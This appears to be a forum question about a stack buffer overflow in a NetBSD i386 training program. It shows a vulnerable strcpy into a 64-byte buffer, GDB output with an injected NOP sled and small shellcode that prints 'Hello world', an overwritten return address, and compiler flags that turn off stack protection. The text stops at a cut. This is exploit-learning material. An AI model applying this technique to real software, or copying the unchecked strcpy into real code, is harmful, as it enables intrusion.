I am trying to use a buffer overflow in a test program to execute arbitrary code. I am on NetBSD 6 i386. Here is the C code:
int checkPassword(char *password) { char savePassword[64] = {0}; char *logMessage; int isUser = 0; int isAdmin = 0; int i; if (!strcmp(password, userPassword)) isUser = 1; strcpy(savePassword, password); for (i = 0; password[i]; ++i) password[i] ^= xorKey; if (!strcmp(password, adminPassword)) isAdmin = 1; if (!(isAdmin | isUser)) { } return isAdmin ? ADMIN : isUser ? USER : NOBODY; }
I paste the code into the savePassword buffer ( %ebp - 0x58 ). Here is the debugging with GDB:
# gdb -q ./pepito Reading symbols from /root/Pepito/source/pepito...done. (gdb) b main.c:79 Breakpoint 1 at 0x80490f4: file main.c, line 79. (gdb) r debug Starting program: /root/Pepito/source/pepito debug Daemon started Breakpoint 1, checkPassword (password=0xbb901000 ' ' <repeats 57 times>, "\345Q?Y?\005?T?T \r\345Td3\a?T \035\060\071\071:u\":'91_-\352\352") at main.c:79 79 return isAdmin ? ADMIN : isUser ? USER : NOBODY;
I interrupt the return function, then I guarantee that arbitrary code (length 96 bytes) was correctly written on the stack:
(gdb) x/96xb $ebp-0x58 0xbfbfd560: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd568: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd570: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd578: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd580: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd588: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd590: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd598: 0x90 0xb0 0x04 0x6a 0x0c 0x6a 0x50 0x6a 0xbfbfd5a0: 0x01 0x6a 0x01 0xcd 0x60 0x00 0x00 0x00 0xbfbfd5a8: 0x31 0xd2 0x66 0x52 0x6a 0x01 0xcd 0x80 0xbfbfd5b0: 0x48 0x65 0x6c 0x6c 0x6f 0x20 0x77 0x6f 0xbfbfd5b8: 0x72 0x6c 0x64 0x0a 0x78 0xd5 0xbf 0xbf
Then I continue to the ret assembly statement:
(gdb) nexti (gdb) nexti (gdb) nexti (gdb) nexti (gdb) nexti (gdb) nexti (gdb) nexti (gdb) x/i $eip => 0x8049119 <checkPassword+393>: ret
Then I check the return address, which is the top of the stack (in %esp ):
(gdb) x/xw $esp 0xbfbfd5bc: 0xbfbfd578
This address will be displayed ret , after which we will go to it. Check out the instructions we have at this address:
(gdb) x/50i 0xbfbfd578 0xbfbfd578: nop 0xbfbfd579: nop 0xbfbfd57a: nop [...] 0xbfbfd597: nop 0xbfbfd598: nop 0xbfbfd599: mov al,0x4 0xbfbfd59b: push 0xc 0xbfbfd59d: push 0x50 0xbfbfd59f: push 0x1 0xbfbfd5a1: push 0x1 0xbfbfd5a3: int 0x60
Our custom code!
But if I run ret , then segfaults:
(gdb) nexti Program received signal SIGSEGV, Segmentation fault. 0x08049119 in checkPassword (password=0xbb901000 ' ' <repeats 57 times>, "\345Q?Y?\005?T?T \r\345Td3\a?T \035\060\071\071:u\":'91_-\352\352") at main.c:80 80 } (gdb) x/i $eip => 0x8049119 <checkPassword+393>: ret
It seems that the operating system forbade me to jump on the stack. But I disabled protection from unused stacks:
gcc -m32 -g -fno-stack-protector -D_FORTIFY_SOURCE=0 -c main.c gcc main.o daemon.o network.o utils.o -o pepito -m32 -L./lib_netbsd -lsecret -Wl,-rpath,./lib_netbsd -Wl,-z,execstack
readelf confirms that the stack is executable: